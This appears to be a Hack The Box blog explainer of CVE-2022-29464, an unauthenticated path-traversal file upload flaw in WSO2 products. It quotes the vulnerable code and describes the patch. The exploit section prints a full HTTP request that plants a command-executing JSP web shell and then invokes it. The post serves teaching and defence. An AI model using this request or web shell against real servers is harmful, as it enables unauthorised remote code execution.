CVE Explained
CyberMnemosyne,
May 29
2024
CVE-2022-29464 Loading Preview... Loading Preview...
The vulnerability is rated as 9.8 (critical Loading Preview...
The WSO2 products offered functionality such as identity, API, key management, and analytics. They are intended to be used by enterprises to connect their disparate systems to share data and functionality between them.
The vulnerability consists of many configuration and code errors that result in the attacker being able to execute either JSP files or code in Java Web Application Archive files (WAR).
The different faults that make up the vulnerability are:
A default configuration allows the URL route /fileupload to be accessed with no authentication and security requirements.
The code functionality that handles HTTP access requests allow all requests to the path containing “/fileupload” or “/fileupload/” to be granted unauthenticated access.
The file name in the Content-Disposition header of the HTTP request can specify directory traversal using path sequences of the type “../”.
Different file types uploaded are handled by file handlers that will execute JSP files or code located in a WAR.
The vulnerability highlights the importance of defense in depth when writing software. It shows how each layer of the defense should provide redundancy by re-checking authentication and access rules.
WSO2 is an open-source middleware company that produces software that allows for the management and administration of application programming interfaces (APIs), identity and access management (IAM), and the implementation of software and system integration.
The product is written in Java, and services such as the Identity Server have administration functionality which includes the ability to upload files.
The specific WSO2 products and their version that were affected by CVE-2022-29464 were:
WSO2 API Manager 2.2.0 - 4.0.0
WSO2 Identity Server 5.2.0 - 5.11.0
WSO2 Identity Server Analytics 5.4.0 - 5.6.0
WSO2 Identity Server as Key Manager 5.3.0 - 5.10.0
WSO2 Enterprise Integrator 6.2.0 - 6.6.0
WSO2 Open Banking AM 1.3.0 - 2.0.0
WSO2 Open Banking KM 1.3.0 - 1.5.0
WSO2 Open Banking IAM 2.0.0
In the release of WSO2’s security advisory announcement Loading Preview...
In the WSO2 code, requests to upload files are sent to the server using a URL that has /fileupload/ in the path. The file upload request is handled by a Java Servlet called FileUploadServlet Loading Preview...
The route has a specific permission in the configuration file identity.xml Loading Preview...
<Resource context="(.*)/fileupload(.*)" secured="false" http-method="all"/>
In addition to this configuration file, the function handleSecurity() deals with implementing security rules on incoming requests.
This function calls handleLongPageRequest() and checks if the return value from this function is CarbonUILoginUtil.RETURN_TRUE.
The method handleLongPageRequestallows specific paths to pass through unauthenticated including the path containing “/fileupload” or “/fileupload/”.
protected static int
handleLoginPageRequest(String requestedURI,
HttpServletRequest request,
HttpServletResponse response,
boolean authenticated,
String context,
String indexPageURL) throws IOException
{
boolean isTryIt =
requestedURI.indexOf("admin/jsp/WSRequestXSSproxy_ajaxprocessor.jsp") > -1;
boolean isFileDownload = requestedURI.endsWith("/filedownload");
if ((requestedURI.indexOf("login.jsp") > -1 ||
requestedURI.indexOf("login_ajaxprocessor.jsp") > -1 ||
requestedURI.indexOf("admin/layout/template.jsp") > -1 ||
isFileDownload ||
requestedURI.endsWith("/fileupload") ||
requestedURI.indexOf("/fileupload/") > -1 ||
requestedURI.indexOf("login_action.jsp") > -1 || isTryIt ||
requestedURI.indexOf("tryit/JAXRSRequestXSSproxy_ajaxprocessor.jsp") > -1) && !requestedURI.contains(";")) {
if ((requestedURI.indexOf("login.jsp") > -1 ||
requestedURI.indexOf("login_ajaxprocessor.jsp") > -1 ||
requestedURI.indexOf("login_action.jsp") > -1) &&
authenticated) {
<SNIPPED…>
} else if ((isTryIt || isFileDownload) && !authenticated) {
<SNIPPED…>
} else if (requestedURI.indexOf("login_action.jsp") > -1 &&
!authenticated) {
<SNIPPED…>
} else {
if (log.isDebugEnabled()) {
log.debug("Skipping security checks for " + requestedURI);
}
return RETURN_TRUE;
}
}
return CONTINUE;
}
The end result is that the application explicitly allows unauthenticated file uploads and downloads.
The FileUploadServlet is responsible for setting up a hash table from a configuration file that maps specific actions with a class that will handle that action. Each action in turn handles specific file types. The execution flow is:
FileUploadServlet.init() → FileUploadExecutorManager (constructor) → loadExecutorMap()
This loads the resource file carbon.xml containing the configuration information
<FileUploadConfig>
<!--
The total file upload size limit in MB
-->
<TotalFileSizeLimit>100</TotalFileSizeLimit>
<Mapping>
<Actions>
<Action>keystore</Action>
<Action>certificate</Action>
<Action>*</Action>
</Actions> <Class>org.wso2.carbon.ui.transports.fileupload.AnyFileUploadExecutor</Class>
</Mapping>
<Mapping>
<Actions>
<Action>jarZip</Action>
</Actions>
<Class>org.wso2.carbon.ui.transports.fileupload.JarZipUploadExecutor</Class>
</Mapping>
<Mapping>
<Actions>
<Action>dbs</Action>
</Actions> <Class>org.wso2.carbon.ui.transports.fileupload.DBSFileUploadExecutor</Class>
</Mapping>
<Mapping>
<Actions>
<Action>tools</Action>
</Actions>
<Class>org.wso2.carbon.ui.transports.fileupload.ToolsFileUploadExecutor</Class>
</Mapping>
<Mapping>
<Actions>
<Action>toolsAny</Action>
</Actions>
<Class>org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor</Class>
</Mapping>
</FileUploadConfig>
The actions handled by this resource file are:
Keystore, certificate,*.
jarZip.
dbs.
tools.
toolsAny.
These actions handle SSL certificates, JAR files, database files, and other files including JSP and WAR.
The doPost method of the FileUploadServlet class handles POST requests and uses the class FileUploadExecutorManager to parse the request and then action the appropriate handler.
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {
try {
fileUploadExecutorManager.execute(request, response);
In the execute method, the request is parsed, and the requested URI is split to get the entire string which comes after the text “fileupload/” with the result being stored in the variable actionString.
public boolean execute(HttpServletRequest request, HttpServletResponse response)
throws IOException {
// TODO - fileupload is hardcoded
int indexToSplit = requestURI.indexOf("fileupload/") + "fileupload/".length();
String actionString = requestURI.substring(indexToSplit);
<SNIP…>
}
The variable actionString then is passed to the CarbonXmlFileUploadExecHandler to get the appropriate file handler, and then the startExec() method is called on this handler.
// Register execution handlers
FileUploadExecutionHandlerManager execHandlerManager =
new FileUploadExecutionHandlerManager();
CarbonXmlFileUploadExecHandler carbonXmlExecHandler =
new CarbonXmlFileUploadExecHandler(request, response, actionString);
execHandlerManager.addExecHandler(carbonXmlExecHandler);
OSGiFileUploadExecHandler osgiExecHandler =
new OSGiFileUploadExecHandler(request, response);
execHandlerManager.addExecHandler(osgiExecHandler);
AnyFileUploadExecHandler anyFileExecHandler =
new AnyFileUploadExecHandler(request, response);
execHandlerManager.addExecHandler(anyFileExecHandler);
execHandlerManager.startExec();
When the path posted is /fileupload/toolsAny, the execute method of the class org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor is called.
public class ToolsAnyFileUploadExecutor extends AbstractFileUploadExecutor
{
public boolean execute(HttpServletRequest request,
HttpServletResponse response)
throws CarbonException, IOException
{
List<FileItemData> fileItems = getAllFileItems();
for (FileItemData fileItem : fileItems) {
String uuid = String.valueOf(System.currentTimeMillis() + Math.random());
String serviceUploadDir =
configurationContext.getProperty(ServerConstants.WORK_DIR) +
File.separator + "extra" + File.separator + uuid + File.separator;
File dir = new File(serviceUploadDir);
if (!dir.exists()) {
dir.mkdirs();
}
File uploadedFile = new File(dir, fileItem.getFileItem().getFieldName());
try (FileOutputStream fileOutStream =
new FileOutputStream(uploadedFile)) {
fileItem.getDataHandler().writeTo(fileOutStream);
fileOutStream.flush();
}
fileResourceMap.put(uuid, uploadedFile.getAbsolutePath());
out.write(uuid);
}
The execute method does not sanitize the file path provided and is vulnerable to directory path traversal. Without a path, files would normally be saved in the directory:
./tmp/work/extra/$uuid/$filename
The $uuid is returned in response to the POST request.
By looking at the file layout of the WSO2 application, we can see that applications are deployed in the directory.
./repository/deployment/server/webapps
1. drwxr-xr-x 4 wso2carbon wso2 4096 Apr 20 2021 .
2. drwxr-xr-x 1 wso2carbon wso2 4096 Apr 20 2021 ..
3. drwxr-xr-x 12 wso2carbon wso2 4096 Apr 20 2021 accountrecoveryendpoint
4. -rw-r--r-- 1 wso2carbon wso2 12145 Apr 20 2021 am#sample#calculator#v1.war
5. -rw-r--r-- 1 wso2carbon wso2 20481 Apr 20 2021 am#sample#pizzashack#v1.war
6. -rw-r--r-- 1 wso2carbon wso2 1085759 Apr 20 2021 api#am#admin.war
7. -rw-r--r-- 1 wso2carbon wso2 1139170 Apr 20 2021 api#am#devportal.war
8. -rw-r--r-- 1 wso2carbon wso2 771180 Apr 20 2021 api#am#gateway#v2.war
9. -rw-r--r-- 1 wso2carbon wso2 1261258 Apr 20 2021 api#am#publisher.war
10. -rw-r--r-- 1 wso2carbon wso2 1079621 Apr 20 2021 api#am#service-catalog#v0.war
11. -rw-r--r-- 1 wso2carbon wso2 1658701 Apr 20 2021 api#identity#consent-mgt#v1.0.war
12. -rw-r--r-- 1 wso2carbon wso2 1571696 Apr 20 2021 api#identity#oauth2#dcr#v1.1.war
13. -rw-r--r-- 1 wso2carbon wso2 1575152 Apr 20 2021 api#identity#oauth2#v1.0.war
14. -rw-r--r-- 1 wso2carbon wso2 1633477 Apr 20 2021 api#identity#recovery#v0.9.war
15. -rw-r--r-- 1 wso2carbon wso2 1657955 Apr 20 2021 api#identity#user#v1.0.war
16. drwxr-xr-x 13 wso2carbon wso2 4096 Apr 20 2021 authenticationendpoint
17. -rw-r--r-- 1 wso2carbon wso2 749964 Apr 20 2021 client-registration#v0.17.war
18. -rw-r--r-- 1 wso2carbon wso2 180224 Apr 20 2021 internal#data#v1.war
19. -rw-r--r-- 1 wso2carbon wso2 838076 Apr 20 2021 keymanager-operations.war
20. -rw-r--r-- 1 wso2carbon wso2 1048494 Apr 20 2021 oauth2.war
Two potential directories could be used by an attacker to place an executable WAR or JSP:
accountrecoveryendpoint
authenticationendpoint
Exploiting CVE-2022-29464 is relatively straightforward. From the vulnerability description above, we know that:
File uploads are unauthenticated and do not even require a session key.
Directory traversal can control where a malicious file can be placed on the file system.
Writeable Tomcat application directories can be used to run the uploaded file as either a JSP or WAR.
To illustrate the exploit, we will use a Docker image provided by WSO2 of a vulnerable version (4.0.0) of the WSO2 API Manager Loading Preview...
This can be run as follows:
docker run -it -p 8280:8280 -p 8243:8243 -p 9443:9443 --name api-manager wso2/wso2am:4.0.0
To illustrate that you do not need to be authenticated to do a POST request to the API Manager, the following call will succeed:
curl -k -X POST "https://127.0.0.1:9443/fileupload" -I
The response we get from this is:
HTTP/1.1 200
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=EFFE02ABCC78C057EB698371C8B59390; Path=/; Secure; HttpOnly
Content-Length: 0
Date: Sat, 02 Dec 2023 10:51:47 GMT
Server: WSO2 Carbon Server
We can use Burp Suite to send a POST request to the API Manager to upload a JSP web shell as follows:
POST /fileupload/toolsAny HTTP/1.1
Host: 127.0.0.1:9443
User-Agent: curl/7.85.0
Accept-Encodeing: gzip, deflate
Accept: */*
Connection: close
Content-Length: 818
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1234
------WebKitFormBoundary1234
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/webshell.jsp"; filename="webshell.jsp"
<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
------WebKitFormBoundary1234--
The response from this is:
HTTP/1.1 200
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=991D0D9339494C3D104C6DB119BF395D; Path=/; Secure; HttpOnly
Content-Type: text/plain;charset=UTF-8
Date: Sat, 02 Dec 2023 10:55:12 GMT
Connection: close
Server: WSO2 Carbon Server
Content-Length: 21
1.7015145128882974E12
We can then call the webshell using the URL
https://127.0.0.1:9443//authenticationendpoint/webshell.jsp?cmd=ls
To provide the output:
(Image courtesy hakkivi Loading Preview...
Of course, the code in the exploit can be changed to run any arbitrary code, including a reverse shell.
There is a Python script proof of concept written by GitHub user, hakkivi Loading Preview...
Trend reported Loading Preview...
The products from WSO2 were patched, and the organization issued a security advisory Loading Preview...
The exact changes depended on the product, but involved either adding the requirement for authentication for the file upload endpoint or removing the problematic file upload handlers from the configuration files.
Three patches were created for the product to address the vulnerabilities and customers were advised to apply them immediately to existing products.
The first patch Loading Preview...
A specific method, verifyCanonicalDestination was added to validate the file upload path and constrain the file to the expected destination directory.
private void verifyCanonicalDestination(String extraFileLocation,
File dirs, String fileName)
throws IOException
{
String canonicalDestinationDirPath = dirs.getCanonicalPath();
File destinationFile = new File(extraFileLocation, fileName);
String canonicalDestinationFile = destinationFile.getCanonicalPath();
if (!canonicalDestinationFile.startsWith(canonicalDestinationDirPath +
File.separator)) {
throw new AxisFault(String.format(
"File path of %s is outside the allowed upload directory", fileName));
}
}
In the second patch Loading Preview...
In the third patch Loading Preview...
HTB releases new content every month that’s based on emerging threats and vulnerabilities. This allows teams to train on real-world, threat-landscape-connected scenarios in a safe and controlled environment.
In response to this vulnerability, we released WSO2 Loading Preview...
Hack The Box provides a wide range of scenarios to keep your team’s skills sharp and up-to-date.
Organizations like Toyota Loading Preview... Loading Preview... Loading Preview... Loading Preview...
Community
Blog Upcoming Events Meetups Affiliate Program SME Program Ambassador Program Parrot OSGet Help
Help Center Contact SupportCommunity
Blog Upcoming Events Meetups Affiliate Program SME Program Ambassador Program Parrot OSGet Help
Help Center Contact Support